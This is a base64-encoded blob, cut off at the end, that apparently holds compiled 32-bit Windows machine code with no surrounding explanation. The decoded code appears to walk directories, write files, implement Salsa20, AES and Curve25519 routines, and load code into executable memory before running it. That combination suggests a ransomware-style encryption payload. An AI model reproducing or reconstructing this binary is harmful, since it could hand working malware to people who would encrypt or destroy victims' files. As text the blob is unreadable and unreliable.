Qi+Vdw1WL7IPsDI1F9FBqCWoMaNUJAABoCMsBEOiF7P//g8QUxkX9AI1F9FBoYD0ayein/f//Wf/Qi+Vdw1WL7P91CGhgPRrJ6JD9//9Z/9Bdw1WL7FaLdQhqAP91EP92BP91DP8VGP4AEDPJOUYEXg+UwYvBXcNVi+yLRQxTVlcz28cAAQAAAIv76Ejk//+LdQip////f3YiU1NT/3YE/xUA/gAQR+gs5P//A8A7+HLo6whqZOg95///WTleCHXz/zboINn///92BOjV2v//WVlfXltdw1WL7FNWi3UIM9tXi/uJXgjo7OP//6n///9/dihTU1b/dQxTU/8VnP0AEIXAdB7/RghQ6Jfa//9ZR+jD4///A8A7+HLYM8BAX15bXcMzwOv3VYvsVv91DOiY2P//i3UIWYkGhcB1BDPA60T/dRBqAGoAav//FRj+ABCJRgSFwHUK/zboitj//1nr3P91FFbobf///1lZhcB1Ev826HHY////dgToJtr//1nr3DPAQF5dw1WL7ItFCP91DP8w6BbY//9ZWV3DVYvsi0UI/3UM/zDoStj//1lZXcNVi+z/dRiLRQj/dRT/dRD/dQz/cAT/FVz+ABBdw1WL7P91FItFCP91EP91DP9wBP8VAP4AEF3DVYvsVot1CP92FOiv2f///3YY6FvY//9ZWV5dw1WL7FaLdQgzwFBoAAAASP91IIlGDFD/dRyJRgj/dRj/dQz/FVD9ABCJRhSD+P91BDPA6yr/dQzoau7//4lGGFmFwHUL/3YU6FbZ//9Z6+GLRRCJRiCLRRSJRiQzwEBeXcNVi+yLRQhQagD/dRD/dQz/cBT/Fej9ABBdw1WL7ItVCItKCANNDItCDBNFEIlKCIlCDF3DVYvsi0UIUGoA/3UQ/3UM/3AU/xV0/AAQXcNVi+yB7GgCAABTVot1CDPAV4t9DIvYUFaJRfyJXfiJRfCJRfT/VwRZWYXAD4SsAQAAjUXwVlDoewIAAFNW/3cM/1cog8QUAUcYEVcc6YkBAACLRfALRfR0P/8zVug77f//i/OLWwSJXfj/Nug31///Vugx1///i0Xwg8QQi030g8D/iUXwg9H/C8GJTfR1AyFF/It1CDPAQIXAD4RcAQAAVuif7f//xwQkwMEAEFaJRezoIuz//1lZjYWY/f//UFb/FeD8ABCJRQyD+P8PhAsBAACNhcT9//9oHMAAEFDoWOz//1lZhcAPhMcAAACNhcT9//9ouMEAEFDoPez//1lZhcAPhKwAAAD3hZj9//8ABAAAD4WcAAAAjYXE/f//UItF7I0ERlDocez///aFmP3//xBZWXRAaMTBABBW6Jfr//+NhcT9//9QVv9XBIPEEIXAdGGNRfBWUOhZAQAAjYXE/f//UFb/dwz/VyiDxBQBRxgRVxzrPouFtP3//4uduP3//1CJReiNhcT9//9TUFb/VwiDxBCFwHQb/3XojYXE/f//U1BW/3cQ/1csg8QUAUcgEVckgz8AdRiNhZj9//9Q/3UM/xUE/QAQhcAPhQH/////dQz/FWj+ABCLXfiDPwAPhGv+///rFIvzi1sE/zbos9X//1bordX//1lZhdt16F9eW4vlXcNVi+xqAP91GP91FGoA/3UQ/3UM/3UI/xVQ/QAQM8mD+P8PRMFdw1WL7GoA/3UU/3UQ/3UM/3UI/xXo/QAQXcNVi+z/dRRqAP91EP91DP91CP8VaPwAEF3DVYvsagD/dRT/dRD/dQz/dQj/FXT8ABBdw1WL7ItFCIPA/moCWTvIG8BAXcNVi+xW/3UI/xUg/QAQi/Bmgz4udRFW6J/r//9Zg/gBdgWNRgLrAjPAXl3DVYvsVmoI6JnU//+L8FmF9nQw/3UM6Cfr//+DZgQAWYtNCIkGiwELQQR0CItBDIlwBOsDiXEIM8CJcQxAAQGDUQQAXl3DVYvs/3UM/3UI/xVg/AAQXcNVi+yD7BBWaP7/AADoPdT//4vwWYX2dHtXjUXwUGoOagRooQIAAGgIywEQ6Lnm//8zwGaJRf6NRfBQVuhQ6v//g8Qcalpf6zr/FRD9ABCDwP6D+AJ3Iv91CFbolfz//w+3RghZWYP4YXIOg/h6dwkl3/8AAGaJRghm/0YIM8BmiUYOVmY5fgh2v+gN1P//WTPAQF9ei+Vdw1WL7IPsJI1F9FeLfRBQV2oAagD/dQz/FcT8ABCFwHQHM8DpLwEAAINN+P+4AEAAAFNQiUXw6HzT//+L2FmF23UQ/3X0/xUM/QAQM8DpBAEAAFaNRfBQU41F+FD/dfT/Fdj9ABCJReyFwA+FxQAAAIlF/DlF+HbbjXMU9kb4AnQ0hf90G4N/FAB0KoM+AHQl/zb/dxTo/uj//1lZhcB0Eo1G7FD/dQz/dQjoUv///4PEDItF/IN+8AF1Z2j+/wAA6PLS//+L+FmF/3RQjUXcUGoOagxoUggAAGgIywEQ6G/l//8zwGaJReqNRdxQV+gG6f//iwaDwAJQV+g26P//aMTBABBX6Cvo////dQhX6Er7//9X6OvS//+DxDiLfRCLRfxAg8YgiUX8O0X4D4JJ////i0XsPQMBAAAPhRP///9T6L7S//9Z/3X0/xUM/QAQ99heG8BAW1+L5V3DVYvsg+xUU1eNRfwz21BqAVOL+4ld/P8VtP0AEIXAD4W7AAAAVutBOV34dE3/dfjoJ9L//4vwWYX2dC2NRfSJXfRQ/3X4Vv91CP8VpPwAEIXAdA6LRfxT/3X0iwhWUP9REFboQdL//1mNRfhQ/3UI/xVY/QAQhcB1rotF/I1VrGoBUlCLCP9RMIXAdUk5XbR0RItF/FNTU4sIU1D/URSFwHUz/3W06LHR//+L+FmF/3Qki00MjUX0i3W0UFaJMYtN/FdRixH/UgyFwHQJV+jW0f//WYv7i0X8UIsI/1EIXovHX1uL5V3DVYvsgeysAQAAVleNhVT+//9QaOIAAABqBGgiAQAAaAjLARDo5+P//4PEFDP2M8BmiYU2////jYVU/v//VlZWVlD/Ffj9ABCL+DPAiX34hf8PhMoBAABmiUXQM8mNRbjHRbg8AAAAUFZW/3UIQYl1vIl1wIl1xIl1yIlNzIl11Il12Il13Il14Il15IlN6Il17Il18P8VDP4AEIXAdQ5X/xVo/QAQM8DpdAEAAItNyDPSi0XMU1ZmiRRB/3XQ/3XIV/8VuP0AEIvYiV30hdt1A1frYYtF5GY5MHUGai9ZZokIjUWsUGoIagpoiwkAAGgIywEQ6Bfj//+DxBQzwIN9xAK5AACAAGaJRbQPRMENAAEAAFBWVlb/deSNRaxQU/8VfPwAEIvYhdt1F1f/FWj9ABD/dfT/FWj9ABAzwOneAAAAjYU4////i/5QanJqCGi2CAAAaAjLARDosuL//4PEFDPAZolFqlb/dRCNhTj/////dRD/dQxq/1BT/xX0/AAQhcB1LugL2v//PY8vAAB1HmoEjUX8x0X8ADMBAFBqH1P/FYD8ABCFwGoBWA9F+IX/dbSLRRhWU4kw/xXk/QAQi334hcB0QFaNRfiJdfxQjUX8x0X4BAAAAFBWaBMAACBT/xUI/gAQi00Y99gbwCNF/IkBPcgAAAB1Df91FFPoF/3//1lZi/BX/xVo/QAQ/3X0/xVo/QAQU/8VaP0AEIvGW19ei+Vdw8PpKfD//1WL7FFR6H0AAACFwHR1U1boNdn//4XAdBq7CP8AEMdF+Lj+ABC+AJYAAMdF/CoAAADrGLsIlQEQx0X45P4AEL4ANgAAx0X8IQAAAFdqQGgAMAAAVmoA/xW4/AAQi/iF/3QeVlNX6EDP//9XVlf/dfz/dfjoeu7//4PEIP91CP/XX15bi+Vdw1WL7IHsiAIAAFdqCbjiBwAAM/9miUXwR1hmiUXyM8BmiUX0agtYZolF9jPAiUX4iUX8jUXcUI1F8FD/FSj9ABCFwHUHM8DpBAEAAOhU2f//uQEFAABmO8F2Eo1F7FD/FZT9ABCFwA+E4QAAAGgEAQAAjYV4/f//UP8VXPwAEIXAdMJTVo2FeP3//2jEwQAQUOiq4///jYV4/f//UOgL5f//jZ14/f//vgjLARCNHEONRaRQahxqDGirAwAAVuia4P//M8BmiUXAjUXEUGoUag9qf1bohOD//zPAg8Q0ZolF2DP2jUWkiUXkjUXEiUXojUWAUGoA/3S15I2FeP3//1DoOuP//1lZUP8VFP4AEIXAdBWNRdxQjUWUUP8VwP0AEDPJhcAPSfkzwEZmiQOD/gJ8vYt17Ohq2P//uQEFAABmO8F2B1b/FbD9ABBeW4vHX4vlXcNVi+z/dRCLRQj/dQz/MIPABFDo1gYAAIPEEF3DVYvsVv91DIt1CP91EI1GBFDo3gsAADPJiQaDxAyFwA+VwYvBXl3DVYvsg+xAU4tdCFcz/zm7GAEAAHUHM8DpewEAAIF9EAAAAQB38FaLdRiF9nRAg/4wD4dGAQAAVv91FI1FwFDoSc3//4PEDGowWDvwdBIrxlCNRcADxldQ6FXN//+DxAyNRcBQU+hBAgAAWVnrD2owjUXAV1DoOM3//4PEDDm7HAEAAHUpjbP4AAAAahBW6Ans//+NgwgBAABQVlPoHf///4PEFMeDHAEAAAEAAACLRRCD+BByX4t1DIl1CI2D+AAAAGoQUOjS6///Vo2D+AAAAFBT6Ob+//+DxBSNiwgBAACLBL47BLl1C0eD/wR18umJAAAAi0UQi/mD6BCJRRClpaWli3UIM/+DxhCJdQiD+BByCOuni00MiU0IhcB0UI2z+AAAAGoQVuhv6///jUXwUFZT6Ib+//+DxBSNiwgBAACNVfCLBLo7BLl1CEeD/wR18usp/3UQi/mNdfCNRfBQ/3UIpaWlpeghzP//g8QMi4v0AAAAgfkAAAABdgQzwOsWQYmL9AAAAI1NwFFT6BkBAABZM8BZQF5fW4vlXcNVi+yD7CBXaCABAABqAP91COj+y///aghZM8CNfeDzq41F4FBoAAEAAP91COgL/v///3UY/3UU/3UQ/3UM/3UI6FAAAACDxCxfi+Vdw1WL7FOLXQxWi3UQV4X2dCy4AAABAGoAO/CL/moAD0f4V1P/dQjo7P3//4PEFIXAdBMD37gAAAEAK/d12TPAQF9eW13DM8Dr91WL7IPsMDPJVot1GFdqMF8793dcOX0QdVeF9nQWVv91FI1F0FDoMMv//4PEDIvOO/d0FYvHK8FQjUXQA8FqAFDoOsv//4PEDFf/dQyNRdBQ6Cjq//+LdQiNRdBQVugWAAAAM8CDxBRAiYb0AAAA6wIzwF9ei+Vdw1WL7IPsMFOLXQhWVzP2jbv4AAAAahBX6NXp//+NRdADxlBXU+jq/P//g8YQg8QUg/4wcuBqMP91DI1F0FDow+n//41F0FBoAAEAAFPo3vz//4118MeDGAEAAAEAAAClg8QYpaWlX15bi+Vdw1WL7IPsRFaLdRSF9g+EkgAAAFOLXRCNTbyLwyvBiUUUi0UMK8FXiUX8/3UIjUW8M/9Q6P8AAACLRQhZWYNAIAF1A/9AJIP+QHYyi138i9eLfRSNTbwDympAigQLMgFCiAQPWDvQcuuLXRAr8AFFFAPYAUUMAUX8iV0Q662F9nQii0UMjU28K8Er2YlFDI1NvAPPigQIMgFHiAQLi0UMO/5y619bXovlXcNVi+yLVQiLTQyLAYlCGItBBINiIACDYiQAiUIcXcNVi+yBfRAAAQAAi00Mi1UIVosBiUIEi0EEiUIIi0EIiUIMi0EMiUIQdQqDwRC+yMEAEOsFvtjBABCLAYlCLItBBIlCMItBCIlCNItBDIlCOIsGiQKLRgSJQhSLRgiJQiiLRgyJNVzXARCJQjxeXcNVi+yD7HRTVot1DFdqEFmNfYzHRcwKAAAA86WLRbSLfbyLTciLVcSLdcCLXbiJRfyLRbCJReCLRayJReyLRaiJRdSLRaSJRdiLRaCJReSLRZyJRfCLRZiJRdyLRZSJRfSLRZCJRfiLRYyJfdCJRegDx4t90MHABzFF8ItF8ANF6MHACTFF7ItF7ANF8MHADTP4i0XsA8eJfdDBwBIxReiLRfgDReTBwAcxReCLReADReTBwAkz8It92ItF4APGwcANMUX4i0X4A8bBwBIxReSLRfwDx8HABzPQi0X8A8LBwAkxRfSLRfQDwsHADTP4i0X0A8eJfdiLfdzBwBIxRfyNBAvBwAcz+Il93I0ED4t91MHACTP4i0XcA8eJfdTBwA0z2I0EH8HAEjPIi0XoA0XcwcAHMUX4i0X4iUWQA0XowcAJMUX0i0X0iUWUA0X4wcANi33cM/iLRfQDx4l93MHAEol9mIt96DP4i0XkA0XwwcAHMUXYi0XYiUWkA0XkwcAJiX3oiX2Mi33UM/iLRdgDx4l91MHADTFF8ItF8IlFnAPHwcASiX2oi33kM/iLRfyJfeSJfaCLfeADx8HABzPYi0X8A8PBwAkxReyLReyJRawDw8HADTP4i8eJfeCLfdCJRbADRezBwBIxRfyLRfyJRbSNBBHBwAcz+Il90Il9vI0EOcHACTPwjQQ+wcANM9CNBDLBwBIzyINtzAGLRegPhUr+//+JXbiNRYyLXQyJVcQz0olNyCvYiXXAjQSTi0QFjAFElYxCg/oQfO+LfQiNdYxqEFnzpV9eW4vlXcNVi+yD7BCLTRBTVr4A/wD/u/8A/wCLAYvQwcAII8PByggj1gvQi0EEV4t9CDMXiVUIi9DBwAgjw8HKCCPWC9CLQQgzVwSL2MHACCX/AP8AwcsIiVX4I94L2ItBDDNfCIvQwcAIJf8A/wDByggj1gvQi8PB6AgPtsiLRfgzVwzB6BCLDI3oyQAQD7bAMwyF6MUAEItFCMHoGDMMhejBABAPtsIzDIXozQAQi8IzTxDB6AiJTfQPtsiLw8HoEA+2wIsMjejJABAzDIXoxQAQi0X4wegYMwyF6MEAEItFCA+2wDMMhejNABCLwjNPFMHoEIlN/A+2yItFCMHoCA+2wIsMjejFABAzDIXoyQAQi8PB6BjB6hgzDIXowQAQiU0Qi034i3UQD7bBwekID7bJMzSF6M0AEIvGiXUQM0cYiwyN6MkAEIlFEItFCMHoEA+2wDMMhejFABAzDJXowQAQD7bDMwyF6M0AEItFDDNPHIPHINH4g+gBiUUM6e4BAACLdRCLxsHoCA+2yItF/MHoEA+2wIsMjejJABCLVfQzDIXoxQAQi8LB6BgzDIXowQAQi0UID7bAMwyF6M0AEDMPi0UIwegIiU34D7bIi8bB6BAPtsCLDI3oyQAQMwyF6MUAEItF/MHoGDMMhejBABAPtsIzDIXozQAQM08Ei0UIwegQiU3wD7bIi8LB6AgPtsDB6hCLHI3oxQAQi038MxyF6MkAEIvGwegYMxyF6MEAEA+2wcHpCA+2yTMchejNABAzXwgPtsKLFI3oyQAQMxSF6MUAEItFCMHoGDMUhejBABCLxg+2wDMUhejNABCLwzNXDMHoCA+2yItF8MHoEA+2wIsMjejJABAzDIXoxQAQi0X4wegYMwyF6MEAEA+2wjMMhejNABCLwjNPEMHoCIlN9A+2yIvDwegQiwyN6MkAEA+2wDMMhejFABCLRfDB6BgzDIXowQAQi0X4D7bAMwyF6M0AEIvCM08UwegQiU38D7bIi0X4wegID7bAiwyN6MUAEMHqGDMMhejJABCLw8HoGDMMhejBABCJTRCLTfCLdRAPtsHB6QgPtskzNIXozQAQi8aJdRAzRxiLDI3oyQAQiUUQi0X4wegQD7bAMwyF6MUAEDMMlejBABAPtsMzDIXozQAQM08cg8cgg20MAYlNCA+FCf7//4tF/L4AAAD/wegQD7bAi130i1UUiwyF6NEAEItFEIHhAAD/AMHoCA+2wIsEhejRABAlAP8AADPIi8PB6BiLBIXo0QAQJQAAAP8zyItFCA+2wA+2BIXo0QAQM8gzD4vBwcEIwcgIgeH/AP8AJQD/AP8LwYkCi0UQwegQD7bAiwyF6NEAEItFCIHhAAD/AMHoCA+2wIsEhejRABAlAP8AADPIi0X8wegYiwSF6NEAECPGM8gPtsMPtgSF6NEAEDPIM08Ei8HBwQjByAiB4f8A/wAlAP8A/wvBiUIEi0UIwegQD7bAiwyF6NEAEIvDwegIgeEAAP8AD7bAiwSF6NEAECUA/wAAM8iLRRDB6BiLBIXo0QAQI8YzyItF/A+2wA+2BIXo0QAQM8gzTwiLwcHICCUA/wD/wcEIgeH/AP8AwesQC8GJQggPtsOLDIXo0QAQi0X8geEAAP8AwegID7bAiwSF6NEAECUA/wAAM8iLRQjB6BiLBIXo0QAQI8YzyItFEA+2wA+2BIXo0QAQM8gzTwyLwcHBCMHICIHh/wD/AF8lAP8A/wvBXolCDFuL5V3DVYvsU4tdDLoA/wD/Vot1CFeLA4vIwcAIJf8A/wDByQgjyo1+BAvIiQ6LSwSLwcHICCPCwcEIgeH/AP8AC8GJB4tLCIvBwcgII8LBwQiB4f8A/wALwYlGCItDDIvQwcoIwcAIgeIA/wD/Jf8A/wAL0IF9EIAAAACJVgwPhfIAAACLwrsAAAD/wegQD7bAiwyF6NEAEIvCwegIgfEAAAABD7bAI8uLBIXo0QAQJQAA/wAzyIvCwegYD7YEhejRABAzyA+2wosEhejRABAlAP8AADPIiwczDjPBiU4Qi04IiUYUM8iLwolOGDPBiUYcvuzpABCNfxCLTwiLwcHoCA+2wIsUhejRABCLwcHoEIHiAAD/AA+2wIsEhejRABAjwzPQi8HB6BgPtgSF6NEAEDPQD7bBiwSF6NEAECUA/wAAM9AzV/wzFoPGBIlXDIsHM8KJRxCLTwQzyIlPFItHCDPBiUcYgf4Q6gAQdYhqCljpCwMAAItLEIvBwcgIJQD/AP/BwQiB4f8A/wALwYlGEItDFIvQwcoIwcAIgeIA/wD/Jf8A/wAL0IF9EMAAAACJVhQPhQoBAACLwrsAAAD/wegQD7bAiwyF6NEAEIvCwegIgfEAAAABD7bAI8uLBIXo0QAQJQAA/wAzyIvCwegYD7YEhejRABAzyA+2wosEhejRABAlAP8AADPIiwczDr/s6QAQM8GJThiLTggzyIlGHItGDDPBiU4giUYkg8Yoi07oM078i0bsM8GJDolGBI12GItO7IvBwegID7bAixSF6NEAEIvBwegQgeIAAP8AD7bAiwSF6NEAECPDM9CLwcHoGA+2BIXo0QAQM9APtsGLBIXo0QAQJQD/AAAz0DNW2DMXg8cEiVbwi0bcM8KJRvSLTuAzyIlO+ItG5DPBiUb8gf8I6gAQD4Vz////agzprf7//4tLGLoA/wD/i8HBwQjByAiB4f8A/wAjwgvBiUYYi0sci8HByAjBwQgjwoHh/wD/AAvBgX0QAAEAAIlGHA+FegEAAIvIx0UM7OkAEMHoELsAAAD/D7bAixSF6NEAEIvBwegIgfIAAAABD7bAI9OLBIXo0QAQJQAA/wAz0IvBwegYD7YEhejRABAz0A+2wYtOCIsEhejRABAlAP8AADPQiwczFr8A/wAAM8KJViCJRiSNVjAzyIlVEItGDDPBiU4oiUYsvgAA/wCLSvyLwcHoEA+2wIsUhejRABCLwcHoCCPWD7bAiwSF6NEAECPHM9CLwcHoGIsEhejRABAjwzPQD7bBD7YEhejRABAz0ItFEDNQ4IkQi0DkM8KLVRCLSuiJQgQzyItC7DPBiUoIiUIMg8IgiVUQi0rsi8HB6AgPtsCLFIXo0QAQi8HB6BAj1g+2wIsEhejRABAjwzPQi8HB6BgPtgSF6NEAEDPQD7bBi00MiwSF6NEAECPHM9CLRRAzUNAzEYlQ8ItA1DPCi1UQiUL0i0rYM8iJSviLQtwzwYlC/ItFDIPABIlFDD0E6gAQD4US////ag7p8fz//zPAX15bXcNVi+yB7PAEAABTVle/kAAAAI2F4Pz//1cz9lZQ6EG9//9XM9uJtTz///+NhUD///9DVlCJnTj////oJL3//1eNhaj+//+JnaD+//9WUIm1pP7//+gKvf//g8cIjYVA/P//V1ZQ6Pm8//+Nhdj8//+JReSNtaD+//+NhTj///+JddyJRewz9o2FQPz//1eJRfSNhaj7//9WUOjFvP//aJAAAACNhRD+//+JnQj+//9WUIm1DP7//+invP//g8RIjYUQ+///V1ZQ6Ja8//9okAAAAI2FeP3//4mdcP3//1ZQibV0/f//6Hi8//+LdRSNhaj7//+JRfCNvdj8//+DxBiNhQj+//+JReCNhRD7//+JRfiNhXD9//+JReiLRRBqFFnzpY1YH8dF0CAAAACJXdSNjdj8//+KA4td3IhF/8dF2AgAAADA6AcPtsCZi/KL+FZXUVPouhgAAFZX/3Xs/3X06K0YAAD/dRT/dez/deT/dfRT/3Xg/3Xw/3Xo/3X46IsKAACDxERWV/918P91+Oh/GAAAVot14FeLfehWV+hwGAAAi03wi8OLXfiDxCCJRfiL14tF9IlF6ItF5IlF8ItF7IlF4IpF/wLAiVX0g23YAYlN5Il17IhF/w+FZf///4ld3Itd1EuDbdABiV3UD4VC////i3Xci30IahRZ86WLfQyL8moUWfOlX15bi+Vdw1WL7IHskAEAAI2FEP///1ZX/3UMUOgJFAAAjYUQ////UI2FYP///1Do9hMAAI2FYP///1CNRbBQ6OYTAAD/dQyNRbBQjYXA/v//UOj1CwAAjYUQ////UI2FwP7//1CNhXD+//9Q6NsLAACNhXD+//9QjUWwUOipEwAAjYXA/v//UI1FsFCNhRD///9Q6LQLAACDxESNhRD///9QjUWwUOh/EwAAjUWwUI2FYP///1DobxMAAI2FYP///1CNRbBQ6F8TAACNRbBQjYVg////UOhPEwAAjYVg////UI1FsFDoPxMAAI2FEP///1CNRbBQjYXA/v//UOhKCwAAjYXA/v//UI1FsFDoGBMAAI1FsFCNhWD///9Q6AgTAACDxERqBF+L942FYP///1CNRbBQ6PASAACNRbBQjYVg////UOjgEgAAg8QQg+4BddiNhcD+//9QjYVg////UI2FEP///1Do4AoAAI2FEP///1CNRbBQ6K4SAACNRbBQjYVg////UOieEgAAg8QcaglejYVg////UI1FsFDoiBIAAI1FsFCNhWD///9Q6HgSAACDxBCD7gF12I2FEP///1CNhWD///9QjUWwUOh7CgAAjUWwUI2FYP///1DoSRIAAI2FYP///1CNRbBQ6DkSAACDxByNRbBQjYVg////UOgmEgAAjYVg////UI1FsFDoFhIAAIPEEIPvAXXYjYXA/v//UI1FsFCNhRD///9Q6BkKAACNhRD///9QjUWwUOjnEQAAjUWwUI2FYP///1Do1xEAAIPEHGoYXov+jYVg////UI1FsFDovxEAAI1FsFCNhWD///9Q6K8RAACDxBCD7wF12I2FEP///1CNhWD///9QjYXA/v//UOivCQAAjYXA/v//UI2FYP///1DoehEAAI2FYP///1CNRbBQ6GoRAACDxBxqMV+NRbBQjYVg////UOhUEQAAjYVg////UI1FsFDoRBEAAIPEEIPvAXXYjYXA/v//UI1FsFCNhWD///9Q6EcJAACNhWD///9QjUWwUOgVEQAAjUWwUI2FYP///1DoBREAAIPEHI2FYP///1CNRbBQ6PIQAACNRbBQjYVg////UOjiEAAAg8QQg+4BddiNhRD///9QjYVg////UI1FsFDo5QgAAI1FsFCNhWD///9Q6LMQAACNhWD///9QjUWwUOijEAAAjUWwUI2FYP///1DokxAAAI2FYP///1CNRbBQ6IMQAACNRbBQjYVg////UOhzEAAAjYVw/v//UI2FYP///1D/dQjofwgAAIPEQF9ei+Vdw1WL7IHsGAEAAGog/3UMjUXgUOhIt///ikX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